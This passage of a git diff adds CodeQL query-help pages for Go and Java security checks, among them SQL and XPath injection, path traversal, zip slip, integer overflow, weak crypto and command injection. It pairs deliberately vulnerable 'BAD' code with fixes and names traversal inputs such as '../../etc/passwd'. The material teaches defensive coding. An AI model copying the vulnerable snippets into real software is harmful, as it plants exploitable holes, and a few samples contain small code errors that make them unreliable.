(accidentally or intentionally) change the structure of the overall string by terminating the quoted substring early, with potentially severe consequences. If, for example, the string is later interpreted as an operating-system command or database query, a malicious attacker may be able to craft input data that enables a command injection or SQL injection attack. + + +## Recommendation +Sanitize the embedded data appropriately to ensure quotes are escaped, or use an API that does not rely on manually constructing quoted substrings. + + +## Example +In the following example, assume that `version` is an object from an untrusted source. The code snippet first uses `json.Marshal` to serialize this object into a string, and then embeds it into a SQL query built using the Squirrel library. + + +```go +package main + +import ( + "encoding/json" + "fmt" + sq "github.com/Masterminds/squirrel" +) + +func save(id string, version interface{}) { + versionJSON, _ := json.Marshal(version) + sq.StatementBuilder. + Insert("resources"). + Columns("resource_id", "version_md5"). + Values(id, sq.Expr(fmt.Sprintf("md5('%s')", versionJSON))). + Exec() +} + +``` +Note that while Squirrel provides a structured API for building SQL queries that mitigates against common causes of SQL injection vulnerabilities, this code is still vulnerable: if the JSON-encoded representation of `version` contains a single quote, this will prematurely close the surrounding string, changing the structure of the SQL expression being constructed. This could be exploited to mount a SQL injection attack. + +To fix this vulnerability, use Squirrel's placeholder syntax, which avoids the need to explicitly construct a quoted string. + + +```go +package main + +import ( + "encoding/json" + sq "github.com/Masterminds/squirrel" +) + +func saveGood(id string, version interface{}) { + versionJSON, _ := json.Marshal(version) + sq.StatementBuilder. + Insert("resources"). + Columns("resource_id", "version_md5"). + Values(id, sq.Expr("md5(?)", versionJSON)). + Exec() +} + +``` + +## References +* Wikipedia: [SQL injection](https://en.wikipedia.org/wiki/SQL_injection). +* OWASP: [Command Injection](https://www.owasp.org/index.php/Command_Injection). +* Common Weakness Enumeration: [CWE-78](https://cwe.mitre.org/data/definitions/78.html). +* Common Weakness Enumeration: [CWE-89](https://cwe.mitre.org/data/definitions/89.html). +* Common Weakness Enumeration: [CWE-94](https://cwe.mitre.org/data/definitions/94.html). \ No newline at end of file diff --git a/docs/language/query-help/go/TaintedPath.md b/docs/language/query-help/go/TaintedPath.md new file mode 100644 index 00000000000..a7a7a3f49ab --- /dev/null +++ b/docs/language/query-help/go/TaintedPath.md @@ -0,0 +1,61 @@ +# Uncontrolled data used in path expression + +``` +ID: go/path-injection +Kind: path-problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-022 external/cwe/cwe-023 external/cwe/cwe-036 external/cwe/cwe-073 external/cwe/cwe-099 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql-go/tree/main/ql/src/Security/CWE-022/TaintedPath.ql) + +Accessing files using paths constructed from user-controlled data can allow an attacker to access unexpected resources. This can result in sensitive information being revealed or deleted, or an attacker being able to influence behavior by modifying unexpected files. + + +## Recommendation +Validate user input before using it to construct a file path, either using an off-the-shelf library or by performing custom validation. + +Ideally, follow these rules: + +* Do not allow more than a single "." character. +* Do not allow directory separators such as "/" or "\" (depending on the file system). +* Do not rely on simply replacing problematic sequences such as "../". For example, after applying this filter to ".../...//", the resulting string would still be "../". +* Use an allowlist of known good patterns. + +## Example +In the first example, a file name is read from an HTTP request and then used to access a file. However, a malicious user could enter a file name which is an absolute path, such as "/etc/passwd". + +In the second example, it appears that the user is restricted to opening a file within the `"user"` home directory. However, a malicious user could enter a file name containing special characters. For example, the string `"../../etc/passwd"` will result in the code reading the file located at "/home/user/../../etc/passwd", which is the system's password file. This file would then be sent back to the user, giving them access to password information. + + +```go +package main + +import ( + "io/ioutil" + "net/http" + "path/filepath" +) + +func handler(w http.ResponseWriter, r *http.Request) { + path := r.URL.Query()["path"][0] + + // BAD: This could read any file on the file system + data, _ := ioutil.ReadFile(path) + w.Write(data) + + // BAD: This could still read any file on the file system + data, _ = ioutil.ReadFile(filepath.Join("/home/user/", path)) + w.Write(data) +} + +``` + +## References +* OWASP: [Path Traversal](https://www.owasp.org/index.php/Path_traversal). +* Common Weakness Enumeration: [CWE-22](https://cwe.mitre.org/data/definitions/22.html). +* Common Weakness Enumeration: [CWE-23](https://cwe.mitre.org/data/definitions/23.html). +* Common Weakness Enumeration: [CWE-36](https://cwe.mitre.org/data/definitions/36.html). +* Common Weakness Enumeration: [CWE-73](https://cwe.mitre.org/data/definitions/73.html). +* Common Weakness Enumeration: [CWE-99](https://cwe.mitre.org/data/definitions/99.html). \ No newline at end of file diff --git a/docs/language/query-help/go/XPathInjection.md b/docs/language/query-help/go/XPathInjection.md new file mode 100644 index 00000000000..f64af2edb78 --- /dev/null +++ b/docs/language/query-help/go/XPathInjection.md @@ -0,0 +1,65 @@ +# XPath injection + +``` +ID: go/xml/xpath-injection +Kind: path-problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-643 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql-go/tree/main/ql/src/Security/CWE-643/XPathInjection.ql) + +If an XPath expression is built using string concatenation, and the components of the concatenation include user input, a user is likely to be able to create a malicious XPath expression. + + +## Recommendation +If user input must be included in an XPath expression, pre-compile the query and use variable references to include the user input. + +For example, when using the `github.com/ChrisTrenkamp/goxpath` API, you can do this by creating a function that takes an `*goxpath.Opts` structure. In this structure you can then set the values of the variable references. This function can then be specified when calling `Exec()`, `Exec{Bool|Num|Node}()`, `ParseExec()`, or `MustExec()`. + + +## Example +In the first example, the code accepts a username specified by the user, and uses this unvalidated and unsanitized value in an XPath expression. This is vulnerable to the user providing special characters or string sequences that change the meaning of the XPath expression to search for different values. + +In the second example, the XPath expression is a hard-coded string that specifies some variables, which are safely resolved at runtime using the `goxpath.Opts` structure. + + +```go +package main + +import ( + "fmt" + "net/http" + + "github.com/ChrisTrenkamp/goxpath" + "github.com/ChrisTrenkamp/goxpath/tree" +) + +func main() {} + +func processRequest(r *http.Request, doc tree.Node) { + r.ParseForm() + username := r.Form.Get("username") + + // BAD: User input used directly in an XPath expression + xPath := goxpath.MustParse("//users/user[login/text()='" + username + "']/home_dir/text()") + unsafeRes, _ := xPath.ExecBool(doc) + fmt.Println(unsafeRes) + + // GOOD: Value of parameters is defined here instead of directly in the query + opt := func(o *goxpath.Opts) { + o.Vars["username"] = tree.String(username) + } + // GOOD: Uses parameters to avoid including user input directly in XPath expression + xPath = goxpath.MustParse("//users/user[login/text()=$username]/home_dir/text()") + safeRes, _ := xPath.ExecBool(doc, opt) + fmt.Println(safeRes) +} + +``` + +## References +* OWASP: [Testing for XPath Injection](https://www.owasp.org/index.php?title=Testing_for_XPath_Injection_(OTG-INPVAL-010)). +* OWASP: [XPath Injection](https://www.owasp.org/index.php/XPATH_Injection). +* Common Weakness Enumeration: [CWE-643](https://cwe.mitre.org/data/definitions/643.html). \ No newline at end of file diff --git a/docs/language/query-help/go/ZipSlip.md b/docs/language/query-help/go/ZipSlip.md new file mode 100644 index 00000000000..fbd32b47b0d --- /dev/null +++ b/docs/language/query-help/go/ZipSlip.md @@ -0,0 +1,78 @@ +# Arbitrary file write during zip extraction ("zip slip") + +``` +ID: go/zipslip +Kind: path-problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-022 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql-go/tree/main/ql/src/Security/CWE-022/ZipSlip.ql) + +Extracting files from a malicious zip archive without validating that the destination file path is within the destination directory can cause files outside the destination directory to be overwritten, due to the possible presence of directory traversal elements (`..`) in archive paths. + +Zip archives contain archive entries representing each file in the archive. These entries include a file path for the entry, but these file paths are not restricted and may contain unexpected special elements such as the directory traversal element (`..`). If these file paths are used to determine which output file the contents of an archive item should be written to, then the file may be written to an unexpected location. This can result in sensitive information being revealed or deleted, or an attacker being able to influence behavior by modifying unexpected files. + +For example, if a zip file contains a file entry `..\sneaky-file`, and the zip file is extracted to the directory `c:\output`, then naively combining the paths would result in an output file path of `c:\output\..\sneaky-file`, which would cause the file to be written to `c:\sneaky-file`. + + +## Recommendation +Ensure that output paths constructed from zip archive entries are validated to prevent writing files to unexpected locations. + +The recommended way of writing an output file from a zip archive entry is to check that "`..`" does not occur in the path. + + +## Example +In this example an archive is extracted without validating file paths. If `archive.zip` contained relative paths (for instance, if it were created by something like `zip archive.zip ../file.txt`) then executing this code could write to locations outside the destination directory. + + +```go +package main + +import ( + "archive/zip" + "io/ioutil" + "path/filepath" +) + +func unzip(f string) { + r, _ := zip.OpenReader(f) + for _, f := range r.File { + p, _ := filepath.Abs(f.Name) + // BAD: This could overwrite any file on the file system + ioutil.WriteFile(p, []byte("present"), 0666) + } +} + +``` +To fix this vulnerability, we need to check that the path does not contain any "`..`" elements in it. + + +```go +package main + +import ( + "archive/zip" + "io/ioutil" + "path/filepath" + "strings" +) + +func unzipGood(f string) { + r, _ := zip.OpenReader(f) + for _, f := range r.File { + p, _ := filepath.Abs(f.Name) + // GOOD: Check that path does not contain ".." before using it + if !strings.Contains(p, "..") { + ioutil.WriteFile(p, []byte("present"), 0666) + } + } +} + +``` + +## References +* Snyk: [Zip Slip Vulnerability](https://snyk.io/research/zip-slip-vulnerability). +* OWASP: [Path Traversal](https://www.owasp.org/index.php/Path_traversal). +* Common Weakness Enumeration: [CWE-22](https://cwe.mitre.org/data/definitions/22.html). \ No newline at end of file diff --git a/docs/language/query-help/index.rst b/docs/language/query-help/index.rst new file mode 100644 index 00000000000..f5aa7874888 --- /dev/null +++ b/docs/language/query-help/index.rst @@ -0,0 +1,19 @@ +CodeQL query help +----------------- + +.. toctree:: + :titlesonly: + + cpp + csharp + go + java + javascript + python + +Code scanning query lists +========================= + +.. toctree:: + + query-list \ No newline at end of file diff --git a/docs/language/query-help/java.rst b/docs/language/query-help/java.rst new file mode 100644 index 00000000000..2aaa2a20f23 --- /dev/null +++ b/docs/language/query-help/java.rst @@ -0,0 +1,4 @@ +Java query help +=============== + +.. include:: toc-java.rst \ No newline at end of file diff --git a/docs/language/query-help/java/ArithmeticTainted.md b/docs/language/query-help/java/ArithmeticTainted.md new file mode 100644 index 00000000000..9684ae02052 --- /dev/null +++ b/docs/language/query-help/java/ArithmeticTainted.md @@ -0,0 +1,64 @@ +# User-controlled data in arithmetic expression + +``` +ID: java/tainted-arithmetic +Kind: path-problem +Severity: warning +Precision: medium +Tags: security external/cwe/cwe-190 external/cwe/cwe-191 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-190/ArithmeticTainted.ql) + +Performing calculations on user-controlled data can result in integer overflows unless the input is validated. + +If the user is free to enter very large numbers, even arithmetic operations that would usually result in a small change in magnitude may result in overflows. + + +## Recommendation +Always guard against overflow in arithmetic operations on user-controlled data by doing one of the following: + +* Validate the user input. +* Define a guard on the arithmetic expression, so that the operation is performed only if the result can be known to be less than, or equal to, the maximum value for the type, for example `MAX_VALUE`. +* Use a wider type, so that larger input values do not cause overflow. + +## Example +In this example, a value is read from standard input into an `int`. Because the value is a user-controlled value, it could be extremely large. Performing arithmetic operations on this value could therefore cause an overflow. To avoid this happening, the example shows how to perform a check before performing a multiplication. + + +```java +class Test { + public static void main(String[] args) { + { + int data; + + BufferedReader readerBuffered = new BufferedReader( + new InputStreamReader(System.in, "UTF-8")); + String stringNumber = readerBuffered.readLine(); + if (stringNumber != null) { + data = Integer.parseInt(stringNumber.trim()); + } else { + data = 0; + } + + // BAD: may overflow if input data is very large, for example + // 'Integer.MAX_VALUE' + int scaled = data * 10; + + //... + + // GOOD: use a guard to ensure no overflows occur + int scaled2; + if (data < Integer.MAX_VALUE / 10) + scaled2 = data * 10; + else + scaled2 = Integer.MAX_VALUE; + } + } +} +``` + +## References +* The CERT Oracle Secure Coding Standard for Java: [NUM00-J. Detect or prevent integer overflow](https://www.securecoding.cert.org/confluence/display/java/NUM00-J.+Detect+or+prevent+integer+overflow). +* Common Weakness Enumeration: [CWE-190](https://cwe.mitre.org/data/definitions/190.html). +* Common Weakness Enumeration: [CWE-191](https://cwe.mitre.org/data/definitions/191.html). \ No newline at end of file diff --git a/docs/language/query-help/java/ArithmeticUncontrolled.md b/docs/language/query-help/java/ArithmeticUncontrolled.md new file mode 100644 index 00000000000..dfb464b1fe4 --- /dev/null +++ b/docs/language/query-help/java/ArithmeticUncontrolled.md @@ -0,0 +1,54 @@ +# Uncontrolled data in arithmetic expression + +``` +ID: java/uncontrolled-arithmetic +Kind: path-problem +Severity: warning +Precision: medium +Tags: security external/cwe/cwe-190 external/cwe/cwe-191 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-190/ArithmeticUncontrolled.ql) + +Performing calculations on uncontrolled data can result in integer overflows unless the input is validated. + +If the data is not under your control, and can take extremely large values, even arithmetic operations that would usually result in a small change in magnitude may result in overflows. + + +## Recommendation +Always guard against overflow in arithmetic operations on uncontrolled data by doing one of the following: + +* Validate the data. +* Define a guard on the arithmetic expression, so that the operation is performed only if the result can be known to be less than, or equal to, the maximum value for the type, for example `MAX_VALUE`. +* Use a wider type, so that larger input values do not cause overflow. + +## Example +In this example, a random integer is generated. Because the value is not controlled by the programmer, it could be extremely large. Performing arithmetic operations on this value could therefore cause an overflow. To avoid this happening, the example shows how to perform a check before performing a multiplication. + + +```java +class Test { + public static void main(String[] args) { + { + int data = (new java.security.SecureRandom()).nextInt(); + + // BAD: may overflow if data is large + int scaled = data * 10; + + // ... + + // GOOD: use a guard to ensure no overflows occur + int scaled2; + if (data < Integer.MAX_VALUE/10) + scaled2 = data * 10; + else + scaled2 = Integer.MAX_VALUE; + } + } +} +``` + +## References +* The CERT Oracle Secure Coding Standard for Java: [NUM00-J. Detect or prevent integer overflow](https://www.securecoding.cert.org/confluence/display/java/NUM00-J.+Detect+or+prevent+integer+overflow). +* Common Weakness Enumeration: [CWE-190](https://cwe.mitre.org/data/definitions/190.html). +* Common Weakness Enumeration: [CWE-191](https://cwe.mitre.org/data/definitions/191.html). \ No newline at end of file diff --git a/docs/language/query-help/java/BrokenCryptoAlgorithm.md b/docs/language/query-help/java/BrokenCryptoAlgorithm.md new file mode 100644 index 00000000000..776f227f4c4 --- /dev/null +++ b/docs/language/query-help/java/BrokenCryptoAlgorithm.md @@ -0,0 +1,44 @@ +# Use of a broken or risky cryptographic algorithm + +``` +ID: java/weak-cryptographic-algorithm +Kind: path-problem +Severity: warning +Precision: medium +Tags: security external/cwe/cwe-327 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-327/BrokenCryptoAlgorithm.ql) + +Using broken or weak cryptographic algorithms can leave data vulnerable to being decrypted. + +Many cryptographic algorithms provided by cryptography libraries are known to be weak, or flawed. Using such an algorithm means that an attacker may be able to easily decrypt the encrypted data. + + +## Recommendation +Ensure that you use a strong, modern cryptographic algorithm. Use at least AES-128 or RSA-2048. + + +## Example +The following code shows an example of using a java `Cipher` to encrypt some data. When creating a `Cipher` instance, you must specify the encryption algorithm to use. The first example uses DES, which is an older algorithm that is now considered weak. The second example uses AES, which is a strong modern algorithm. + + +```java +// BAD: DES is a weak algorithm +Cipher des = Cipher.getInstance("DES"); +cipher.init(Cipher.ENCRYPT_MODE, secretKeySpec); + +byte[] encrypted = cipher.doFinal(input.getBytes("UTF-8")); + +// ... + +// GOOD: AES is a strong algorithm +Cipher des = Cipher.getInstance("AES"); + +// ... +``` + +## References +* NIST, FIPS 140 Annex a: [ Approved Security Functions](http://csrc.nist.gov/publications/fips/fips140-2/fips1402annexa.pdf). +* NIST, SP 800-131A: [ Transitions: Recommendation for Transitioning the Use of Cryptographic Algorithms and Key Lengths](http://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-131Ar1.pdf). +* Common Weakness Enumeration: [CWE-327](https://cwe.mitre.org/data/definitions/327.html). \ No newline at end of file diff --git a/docs/language/query-help/java/CleartextStorageCookie.md b/docs/language/query-help/java/CleartextStorageCookie.md new file mode 100644 index 00000000000..e3d52b851a3 --- /dev/null +++ b/docs/language/query-help/java/CleartextStorageCookie.md @@ -0,0 +1,62 @@ +# Cleartext storage of sensitive information in cookie + +``` +ID: java/cleartext-storage-in-cookie +Kind: problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-315 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-312/CleartextStorageCookie.ql) + +Sensitive information that is stored unencrypted is accessible to an attacker who gains access to the storage. + + +## Recommendation +Ensure that sensitive information is always encrypted before being stored. It may be wise to encrypt information before it is put into a heap data structure (such as `Java.util.Properties`) that may be written to disk later. Objects that are serializable or marshallable should also always contain encrypted information unless you are certain that they are not ever going to be serialized. + +In general, decrypt sensitive information only at the point where it is necessary for it to be used in cleartext. + + +## Example +The following example shows two ways of storing user credentials in a cookie. In the 'BAD' case, the credentials are simply stored in cleartext. In the 'GOOD' case, the credentials are hashed before storing them. + + +```java +public static void main(String[] args) { + { + String data; + PasswordAuthentication credentials = + new PasswordAuthentication("user", "BP@ssw0rd".toCharArray()); + data = credentials.getUserName() + ":" + new String(credentials.getPassword()); + + // BAD: store data in a cookie in cleartext form + response.addCookie(new Cookie("auth", data)); + } + + { + String data; + PasswordAuthentication credentials = + new PasswordAuthentication("user", "GP@ssw0rd".toCharArray()); + String salt = "ThisIsMySalt"; + MessageDigest messageDigest = MessageDigest.getInstance("SHA-512"); + messageDigest.reset(); + String credentialsToHash = + credentials.getUserName() + ":" + credentials.getPassword(); + byte[] hashedCredsAsBytes = + messageDigest.digest((salt+credentialsToHash).getBytes("UTF-8")); + data = bytesToString(hashedCredsAsBytes); + + // GOOD: store data in a cookie in encrypted form + response.addCookie(new Cookie("auth", data)); + } +} + +``` + +## References +* The CERT Oracle Secure Coding Standard for Java: [SER03-J. Do not serialize unencrypted, sensitive data](https://www.securecoding.cert.org/confluence/display/java/SER03-J.+Do+not+serialize+unencrypted+sensitive+data). +* M. Dowd, J. McDonald and J. Schuhm, *The Art of Software Security Assessment*, 1st Edition, Chapter 2 - 'Common Vulnerabilities of Encryption', p. 43. Addison Wesley, 2006. +* M. Howard and D. LeBlanc, *Writing Secure Code*, 2nd Edition, Chapter 9 - 'Protecting Secret Data', p. 299. Microsoft, 2002. +* Common Weakness Enumeration: [CWE-315](https://cwe.mitre.org/data/definitions/315.html). \ No newline at end of file diff --git a/docs/language/query-help/java/CleartextStorageProperties.md b/docs/language/query-help/java/CleartextStorageProperties.md new file mode 100644 index 00000000000..559726cc1ac --- /dev/null +++ b/docs/language/query-help/java/CleartextStorageProperties.md @@ -0,0 +1,62 @@ +# Cleartext storage of sensitive information using 'Properties' class + +``` +ID: java/cleartext-storage-in-properties +Kind: problem +Severity: warning +Precision: medium +Tags: security external/cwe/cwe-313 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-312/CleartextStorageProperties.ql) + +Sensitive information that is stored unencrypted is accessible to an attacker who gains access to the storage. + + +## Recommendation +Ensure that sensitive information is always encrypted before being stored. It may be wise to encrypt information before it is put into a heap data structure (such as `Java.util.Properties`) that may be written to disk later. Objects that are serializable or marshallable should also always contain encrypted information unless you are certain that they are not ever going to be serialized. + +In general, decrypt sensitive information only at the point where it is necessary for it to be used in cleartext. + + +## Example +The following example shows two ways of storing user credentials in a cookie. In the 'BAD' case, the credentials are simply stored in cleartext. In the 'GOOD' case, the credentials are hashed before storing them. + + +```java +public static void main(String[] args) { + { + String data; + PasswordAuthentication credentials = + new PasswordAuthentication("user", "BP@ssw0rd".toCharArray()); + data = credentials.getUserName() + ":" + new String(credentials.getPassword()); + + // BAD: store data in a cookie in cleartext form + response.addCookie(new Cookie("auth", data)); + } + + { + String data; + PasswordAuthentication credentials = + new PasswordAuthentication("user", "GP@ssw0rd".toCharArray()); + String salt = "ThisIsMySalt"; + MessageDigest messageDigest = MessageDigest.getInstance("SHA-512"); + messageDigest.reset(); + String credentialsToHash = + credentials.getUserName() + ":" + credentials.getPassword(); + byte[] hashedCredsAsBytes = + messageDigest.digest((salt+credentialsToHash).getBytes("UTF-8")); + data = bytesToString(hashedCredsAsBytes); + + // GOOD: store data in a cookie in encrypted form + response.addCookie(new Cookie("auth", data)); + } +} + +``` + +## References +* The CERT Oracle Secure Coding Standard for Java: [SER03-J. Do not serialize unencrypted, sensitive data](https://www.securecoding.cert.org/confluence/display/java/SER03-J.+Do+not+serialize+unencrypted+sensitive+data). +* M. Dowd, J. McDonald and J. Schuhm, *The Art of Software Security Assessment*, 1st Edition, Chapter 2 - 'Common Vulnerabilities of Encryption', p. 43. Addison Wesley, 2006. +* M. Howard and D. LeBlanc, *Writing Secure Code*, 2nd Edition, Chapter 9 - 'Protecting Secret Data', p. 299. Microsoft, 2002. +* Common Weakness Enumeration: [CWE-313](https://cwe.mitre.org/data/definitions/313.html). \ No newline at end of file diff --git a/docs/language/query-help/java/ComparisonWithWiderType.md b/docs/language/query-help/java/ComparisonWithWiderType.md new file mode 100644 index 00000000000..64cb837f645 --- /dev/null +++ b/docs/language/query-help/java/ComparisonWithWiderType.md @@ -0,0 +1,68 @@ +# Comparison of narrow type with wide type in loop condition + +``` +ID: java/comparison-with-wider-type +Kind: problem +Severity: warning +Precision: medium +Tags: reliability security external/cwe/cwe-190 external/cwe/cwe-197 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-190/ComparisonWithWiderType.ql) + +In a loop condition, comparison of a value of a narrow type with a value of a wide type may always evaluate to `true` if the wider value is sufficiently large (or small). This is because the narrower value may overflow. This can lead to an infinite loop. + + +## Recommendation +Change the types of the compared values so that the value on the narrower side of the comparison is at least as wide as the value it is being compared with. + + +## Example +In this example, `bytesReceived` is compared against `MAXGET` in a `while` loop. However, `bytesReceived` is a `short`, and `MAXGET` is a `long`. Because `MAXGET` is larger than `Short.MAX_VALUE`, the loop condition is always `true`, so the loop never terminates. + +This problem is avoided in the 'GOOD' case because `bytesReceived2` is a `long`, which is as wide as the type of `MAXGET`. + + +```java +class Test { + public static void main(String[] args) { + + { + int BIGNUM = Integer.MAX_VALUE; + long MAXGET = Short.MAX_VALUE + 1; + + char[] buf = new char[BIGNUM]; + + short bytesReceived = 0; + + // BAD: 'bytesReceived' is compared with a value of wider type. + // 'bytesReceived' overflows before reaching MAXGET, + // causing an infinite loop. + while (bytesReceived < MAXGET) { + bytesReceived += getFromInput(buf, bytesReceived); + } + } + + { + long bytesReceived2 = 0; + + // GOOD: 'bytesReceived2' has a type at least as wide as MAXGET. + while (bytesReceived2 < MAXGET) { + bytesReceived2 += getFromInput(buf, bytesReceived2); + } + } + + } + + public static int getFromInput(char[] buf, short pos) { + // write to buf + // ... + return 1; + } +} +``` + +## References +* The CERT Oracle Secure Coding Standard for Java: [NUM00-J. Detect or prevent integer overflow](https://www.securecoding.cert.org/confluence/display/java/NUM00-J.+Detect+or+prevent+integer+overflow). +* Common Weakness Enumeration: [CWE-190](https://cwe.mitre.org/data/definitions/190.html). +* Common Weakness Enumeration: [CWE-197](https://cwe.mitre.org/data/definitions/197.html). \ No newline at end of file diff --git a/docs/language/query-help/java/ConditionalBypass.md b/docs/language/query-help/java/ConditionalBypass.md new file mode 100644 index 00000000000..ff59143e754 --- /dev/null +++ b/docs/language/query-help/java/ConditionalBypass.md @@ -0,0 +1,54 @@ +# User-controlled bypass of sensitive method + +``` +ID: java/user-controlled-bypass +Kind: path-problem +Severity: error +Precision: medium +Tags: security external/cwe/cwe-807 external/cwe/cwe-290 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-807/ConditionalBypass.ql) + +Many Java constructs enable code statements to be executed conditionally, for example `if` statements and `for` statements. If these statements contain important authentication or login code, and the decision about whether to execute this code is based on user-controlled data, it may be possible for an attacker to bypass security systems by preventing this code from executing. + + +## Recommendation +Never decide whether to authenticate a user based on data that may be controlled by that user. If necessary, ensure that the data is validated extensively when it is input before any authentication checks are performed. + +It is still possible to have a system that "remembers" users, thus not requiring the user to login on every interaction. For example, personalization settings can be applied without authentication because this is not sensitive information. However, users should be allowed to take sensitive actions only when they have been fully authenticated. + + +## Example +This example shows two ways of deciding whether to authenticate a user. The first way shows a decision that is based on the value of a cookie. Cookies can be easily controlled by the user, and so this allows a user to become authenticated without providing valid credentials. The second, more secure way shows a decision that is based on looking up the user in a security database. + + +```java +public boolean doLogin(String user, String password) { + Cookie adminCookie = getCookies()[0]; + + // BAD: login is executed only if the value of 'adminCookie' is 'false', + // but 'adminCookie' is controlled by the user + if(adminCookie.getValue()=="false") + return login(user, password); + + return true; +} + +public boolean doLogin(String user, String password) { + Cookie adminCookie = getCookies()[0]; + + // GOOD: use server-side information based on the credentials to decide + // whether user has privileges + boolean isAdmin = queryDbForAdminStatus(user, password); + if(!isAdmin) + return login(user, password); + + return true; +} +``` + +## References +* The CERT Oracle Secure Coding Standard for Java: [SEC02-J. Do not base security checks on untrusted sources](https://www.securecoding.cert.org/confluence/display/java/SEC02-J.+Do+not+base+security+checks+on+untrusted+sources). +* Common Weakness Enumeration: [CWE-807](https://cwe.mitre.org/data/definitions/807.html). +* Common Weakness Enumeration: [CWE-290](https://cwe.mitre.org/data/definitions/290.html). \ No newline at end of file diff --git a/docs/language/query-help/java/ExecRelative.md b/docs/language/query-help/java/ExecRelative.md new file mode 100644 index 00000000000..b8a5531ad37 --- /dev/null +++ b/docs/language/query-help/java/ExecRelative.md @@ -0,0 +1,41 @@ +# Executing a command with a relative path + +``` +ID: java/relative-path-command +Kind: problem +Severity: warning +Precision: medium +Tags: security external/cwe/cwe-078 external/cwe/cwe-088 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-078/ExecRelative.ql) + +When a command is executed with a relative path, the runtime uses the PATH environment variable to find which executable to run. Therefore, any user who can change the PATH environment variable can cause the software to run a different, malicious executable. + + +## Recommendation +In most cases, simply use a command that has an absolute path instead of a relative path. + +In some cases, the location of the executable might be different on different installations. In such cases, consider specifying the location of key executables with some form of configuration. When using this approach, be careful that the configuration system is not itself vulnerable to malicious modifications. + + +## Example + +```java +class Test { + public static void main(String[] args) { + // BAD: relative path + Runtime.getRuntime().exec("make"); + + // GOOD: absolute path + Runtime.getRuntime().exec("/usr/bin/make"); + + // GOOD: build an absolute path from known values + Runtime.getRuntime().exec(Paths.MAKE_PREFIX + "/bin/make"); + } +} +``` + +## References +* Common Weakness Enumeration: [CWE-78](https://cwe.mitre.org/data/definitions/78.html). +* Common Weakness Enumeration: [CWE-88](https://cwe.mitre.org/data/definitions/88.html). \ No newline at end of file diff --git a/docs/language/query-help/java/ExecTainted.md b/docs/language/query-help/java/ExecTainted.md new file mode 100644 index 00000000000..e6ecef3d563 --- /dev/null +++ b/docs/language/query-help/java/ExecTainted.md @@ -0,0 +1,42 @@ +# Uncontrolled command line + +``` +ID: java/command-line-injection +Kind: path-problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-078 external/cwe/cwe-088 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-078/ExecTainted.ql) + +Code that passes user input directly to `Runtime.exec`, or some other library routine that executes a command, allows the user to execute malicious code. + + +## Recommendation +If possible, use hard-coded string literals to specify the command to run or library to load. Instead of passing the user input directly to the process or library function, examine the user input and then choose among hard-coded string literals. + +If the applicable libraries or commands cannot be determined at compile time, then add code to verify that the user input string is safe before using it. + + +## Example +The following example shows code that takes a shell script that can be changed maliciously by a user, and passes it straight to `Runtime.exec` without examining it first. + + +```java +class Test { + public static void main(String[] args) { + String script = System.getenv("SCRIPTNAME"); + if (script != null) { + // BAD: The script to be executed is controlled by the user. + Runtime.getRuntime().exec(script); + } + } +} +``` + +## References +* OWASP: [Command Injection](https://www.owasp.org/index.php/Command_Injection). +* The CERT Oracle Secure Coding Standard for Java: [IDS07-J. Sanitize untrusted data passed to the Runtime.exec() method](https://www.securecoding.cert.org/confluence/display/java/IDS07-J.+Sanitize+untrusted+data+passed+to+the+Runtime.exec%28%29+method). +* Common Weakness Enumeration: [CWE-78](https://cwe.mitre.org/data/definitions/78.html). +* Common Weakness Enumeration: [CWE-88](https://cwe.mitre.org/data/definitions/88.html). \ No newline at end of file diff --git a/docs/language/query-help/java/ExecUnescaped.md b/docs/language/query-help/java/ExecUnescaped.md new file mode 100644 index 00000000000..835bbe6858f --- /dev/null +++ b/docs/language/query-help/java/ExecUnescaped.md @@ -0,0 +1,51 @@ +# Building a command line with string concatenation + +``` +ID: java/concatenated-command-line +Kind: problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-078 external/cwe/cwe-088 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-078/ExecUnescaped.ql) + +Code that builds a command line by concatenating strings that have been entered by a user allows the user to execute malicious code. + + +## Recommendation +Execute external commands using an array of strings rather than a single string. By using an array, many possible vulnerabilities in the formatting of the string are avoided. + + +## Example +In the following example, `latlonCoords` contains a string that has been entered by a user but not validated by the program. This allows the user to, for example, append an ampersand (&) followed by the command for a malicious program to the end of the string. The ampersand instructs Windows to execute another program. In the block marked 'BAD', `latlonCoords` is passed to `exec` as part of a concatenated string, which allows more than one command to be executed. However, in the block marked 'GOOD', `latlonCoords` is passed as part of an array, which means that `exec` treats it only as an argument. + + +```java +class Test { + public static void main(String[] args) { + // BAD: user input might include special characters such as ampersands + { + String latlonCoords = args[1]; + Runtime rt = Runtime.getRuntime(); + Process exec = rt.exec("cmd.exe /C latlon2utm.exe " + latlonCoords); + } + + // GOOD: use an array of arguments instead of executing a string + { + String latlonCoords = args[1]; + Runtime rt = Runtime.getRuntime(); + Process exec = rt.exec(new String[] { + "c:\\path\to\latlon2utm.exe", + latlonCoords }); + } + } +} + +``` + +## References +* OWASP: [Command Injection](https://www.owasp.org/index.php/Command_Injection). +* The CERT Oracle Secure Coding Standard for Java: [IDS07-J. Sanitize 